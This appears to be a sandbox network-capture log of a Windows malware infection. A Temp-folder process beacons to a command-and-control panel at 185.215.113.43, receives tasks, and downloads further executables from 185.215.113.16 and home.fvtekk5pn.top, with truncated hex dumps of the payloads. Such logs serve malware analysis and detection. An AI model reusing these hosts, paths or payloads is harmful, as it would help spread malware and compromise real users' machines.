Nov 20, 2024 12:59:17.814917088 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007657001&unit=246122658369
Nov 20, 2024 12:59:18.541409016 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50035	34.116.198.130	80	6592	C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:19.072190046 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 20, 2024 12:59:19.800880909 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 20 Nov 2024 11:59:19 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 20, 2024 12:59:19.800949097 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 20, 2024 12:59:19.801003933 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 20, 2024 12:59:19.801043034 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 20, 2024 12:59:19.801207066 CET	1236	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 20, 2024 12:59:19.801242113 CET	920	IN	Data Raw: 47 80 00 2b 25 42 aa bd a5 64 44 8a 14 d0 b4 84 86 fd 10 b5 76 4f dd 9c b8 72 9a 38 df c6 45 25 a8 59 77 29 fe 08 73 7d b0 d7 21 96 0b f1 48 b6 34 94 21 e6 4d e5 f5 dd c1 af 58 87 90 cd ab 11 5c 3a 8f e6 92 c1 8b d0 b4 82 68 92 ec 73 11 3e 2e e6 Data Ascii: G+%BdDvOr8E%Yw)s}!H4!MX\:hs>.6 HSrBa9A\|l=eru3Fw1A19=doudZ_fi$C\Ux<S;dfWQ&sdbn&"9*WNi4_@=}t
Nov 20, 2024 12:59:19.801954031 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 20, 2024 12:59:19.802033901 CET	224	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Un
Nov 20, 2024 12:59:19.802063942 CET	1236	IN	Data Raw: fb ea 8f 1b 9c 79 31 27 c1 89 2d 73 5e 99 62 3d 9d 0f 7d d4 1b 39 a4 c2 0e b5 24 6a e8 35 1d 67 29 7d 3a ff db 33 8b c7 29 e3 72 c0 c7 b5 e6 43 14 b5 c1 f6 39 3b 78 7a f2 18 b0 dc 0c 5d f7 73 1a 41 75 40 29 c5 a2 9c fe 2e dc ab 40 67 8f 5a 30 cd Data Ascii: y1'-s^b=}9$j5g)}:3)rC9;xz]sAu@).@gZ0XuUR$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E
Nov 20, 2024 12:59:19.802148104 CET	1236	IN	Data Raw: c5 5a 82 32 fa e2 90 8b 98 31 d7 af 8c d6 37 39 a6 78 0c a1 c5 f5 cf 37 84 58 9f 09 7f cc fa de 29 99 f5 d3 f8 7c 1c be 92 06 94 33 e7 f1 07 2e b7 e9 57 ff 53 11 90 31 a9 9f 80 87 a0 23 0a d9 c8 42 f0 ba 69 1f e1 99 e8 34 d1 d8 95 3f 3c c0 5f 66 Data Ascii: Z2179x7X)\|3.WS1#Bi4?<_fkCkx4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCt
Nov 20, 2024 12:59:19.805975914 CET	1236	IN	Data Raw: d6 1a 9d 01 78 7f 73 c9 3b 2a 23 6b 13 43 37 c4 c9 21 4f b2 0f bd f5 ff cb 81 f4 9a b6 4c 01 83 38 4e e9 1d 0c 13 a7 d5 34 f3 9d 78 e2 99 af fd 52 dc b3 69 c2 56 35 33 c8 7f f6 9d d5 98 2c 9c 68 7b 42 fa 5c ba e2 ef 1f 36 61 52 ff 5a 86 63 d4 c5 Data Ascii: xs;*#kC7!OL8N4xRiV53,h{B\6aRZc[X[?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50036	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:20.243720055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 12:59:20.933582067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50037	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:22.453316927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 12:59:23.156820059 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 37 36 35 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 36 35 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 36 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 36 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1007658001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007659001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007660001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007661001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50038	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:23.167021036 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 12:59:23.866512060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:23 GMT Content-Type: application/octet-stream Content-Length: 1870336 Last-Modified: Wed, 20 Nov 2024 11:15:53 GMT Connection: keep-alive ETag: "673dc4e9-1c8a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c0 cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;g0J@`J@\ppq P^@.rsrc `n@.idata pn@ *p@tnwqhvjl 0r@zthkwkek Jd@.taggant00J"h@
Nov 20, 2024 12:59:23.866660118 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:23.867345095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:23.867356062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:23.867366076 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:23.867899895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:23.867964029 CET	1236	IN	Data Raw: f2 53 05 2b 3c 11 d9 d6 ee f9 73 a0 aa 8a 98 bb e1 e5 84 01 bc eb de 5d 93 86 87 8b 2a 42 b1 35 6e 6d 74 71 4b b5 46 37 34 d2 ab a7 1a 97 75 55 1d e7 08 62 d1 7a 84 8b 3f 6c fa 56 98 8b 5d ef 02 e9 3a 52 27 8f 8c bc 5f 7e 89 70 25 eb 42 58 56 92 Data Ascii: S+<s]*B5nmtqKF74uUbz?lV]:R'_~p%BXViE3nl]Dn?q7"<7(`cpNPNnItvY)SlNOu5'y<SNMLVT+(wOg~Llu5BCu-G39m\
Nov 20, 2024 12:59:23.867974043 CET	248	IN	Data Raw: 7e f8 fd 6f 67 3d c0 ba 76 9f c6 ec da c7 cc 5a 48 11 c3 1e e1 a3 02 b0 5a 33 c3 ab 56 b4 c2 65 5e 4e a7 bd 2f 26 14 66 3c c3 0d 46 5f b1 a2 6b d0 32 f1 6d ec 6b 68 56 11 6c bf 73 f9 2e 27 ca 57 f8 e2 ca 53 7c 6c 8a b1 fb d5 ea d9 20 8e 5e 77 aa Data Ascii: ~og=vZHZ3Ve^N/&f<F_k2mkhVls.'WS\|l ^w~lJE8xe2"N#S7OO!,yli1.kZcA:mbug`k`}e&(VT~j@>I:z
Nov 20, 2024 12:59:23.868879080 CET	1236	IN	Data Raw: 3e de 46 b7 8d 0d 20 f0 b4 6d 23 81 b3 e7 50 a9 34 81 f5 b3 3d d3 3b 66 2c 6f 06 43 ef 9d 78 08 b3 c7 f3 13 18 40 c7 48 82 5e 60 8b 95 bf 8b 3e 2f d9 43 aa b9 da da 41 6b c3 63 d9 49 97 5f f7 b3 46 c0 92 29 cc e3 1d b2 d7 a7 0f 70 72 45 1d 46 92 Data Ascii: >F m#P4=;f,oCx@H^`>/CAkcI_F)prEFiA%:NE,>m6s!m/yoN{[UKJ@{:*<17`[Qe,yzi<538{lb YYB)TGM!CLx7o13Rj1l
Nov 20, 2024 12:59:23.868891954 CET	1236	IN	Data Raw: d3 3b 1c 79 a9 b2 b2 c7 91 88 f6 f1 b7 d4 60 95 d6 3b 3e d6 5f 4a ba 36 98 46 e8 ac 87 ec d9 6a 47 67 6c 87 e1 cd 6e 37 43 fb c1 3c 70 b3 aa 7f d8 11 c3 15 dc 25 15 20 ed 31 88 3d d2 ac 3a 28 42 59 eb e8 23 15 66 4c 79 78 f9 93 ba 6d a0 d5 64 69 Data Ascii: ;y`;>_J6FjGgln7C<p% 1=:(BY#fLyxmdi")nZV&uH:+QCSRL]a]ifS`:M5GcElnRvo)j>T~dLR0QWg}[sjVVrX"[r9z4XC
Nov 20, 2024 12:59:23.874897957 CET	1236	IN	Data Raw: 99 76 7e 4c db ac 28 59 46 fa a7 13 3c ad 63 53 0f 23 24 d9 4e 59 e5 8c d1 cf f6 80 14 de ba 89 51 5b 14 2d 1f 51 a0 ab 4d c4 a6 66 56 47 2c 87 34 56 2b a4 22 83 7d fb 56 52 d7 02 0a 53 3e 02 a4 14 93 ae 1a 7f d3 6f d1 29 ec fa 72 d1 63 aa 20 94 Data Ascii: v~L(YF<cS#$NYQ[-QMfVG,4V+"}VRS>o)rc l"BYRD,[ m]q-:(0J6=S(=ZfwiE(dOKO0\|sIvR6b=&/.IVoE {2FlbW`D[B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50039	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:27.783669949 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007658001&unit=246122658369
Nov 20, 2024 12:59:28.485301018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50040	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:59:28.495001078 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 12:59:29.189807892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 11:59:29 GMT Content-Type: application/octet-stream Content-Length: 1801216 Last-Modified: Wed, 20 Nov 2024 11:16:00 GMT Connection: keep-alive ETag: "673dc4f0-1b7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 4e 2d [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"@i@piN-@M$a$$ $b@.rsrc$r@.idata $t@ *$v@rjdslfrfPOx@pnddpvcn0iT@.taggant0@i"Z@
Nov 20, 2024 12:59:29.189819098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:29.189829111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:29.190237045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 12:59:29.190248966 CET	896	IN	Data Raw: 06 a1 f5 fd d8 86 4a 7b 11 32 7e 80 9c 09 63 85 06 10 7c d8 58 6b 21 1b f9 0a bf d9 34 a1 51 71 69 81 a0 79 93 66 ae da d3 20 3f 2e 04 0d 89 11 b1 b7 81 89 f9 0e 25 53 f2 01 7b d5 a3 11 95 4a 71 54 1d 3a 89 78 b9 d4 de 9e 86 d8 7a 37 71 f0 f0 f9 Data Ascii: J{2~c\|Xk!4Qqiyf ?.%S{JqT:xz7q{.=1[w;/C_5E9gqG7s>IL1z\til-{aoe:[M^lw=~H7R];ZkAmA=lXum8005l(I)q91w1=+1 y).mQ
Nov 20, 2024 12:59:29.190260887 CET	1236	IN	Data Raw: 2a 06 55 e4 47 3c ca 7b ff e0 7f 0b 0c c2 3c 38 08 3c cd bc f2 e5 b5 64 23 ba 5c fc 54 02 37 32 b9 d6 da b9 15 dd 7b 10 36 b5 79 7b 40 9b 4e f7 69 ed 31 16 ff f0 76 f0 f2 c8 8a e3 ff ea 1b cb 0c 7b 14 90 f9 51 ad cb 3f 46 4c a4 ee b8 b5 b0 38 fd Data Ascii: *UG<{<8<d#\T72{6y{@Ni1v{Q?FL8P\|k0B}dLx A\l6@lO]elw2r$$KB\jbqsiqil\|X>!U,Yu=/4:lTj_C5
Nov 20, 2024 12:59:29.190383911 CET	1236	IN	Data Raw: 67 3a 69 ea b0 dd 70 21 37 45 4e 3f 56 3b f1 0f 36 db a2 64 13 bc f8 d1 1f 5d 98 5c 13 bc d2 d8 28 25 82 34 0c 76 17 20 6a ed 43 a4 19 46 07 2d 0d 1c b8 c1 16 c1 48 70 f7 42 7d f5 1c 09 aa 39 f8 21 64 3a 5b 8f 7f 3e 55 0d eb e9 b0 d9 ad ba 66 f6 Data Ascii: g:ip!7EN?V;6d]\(%4v jCF-HpB}9!d:[>Uf3Alj.+:9xYq]3ULz0b(-.`k~7)EUW[~*<\|T5\'"e{24u C\'~8)!PHo;{]fb
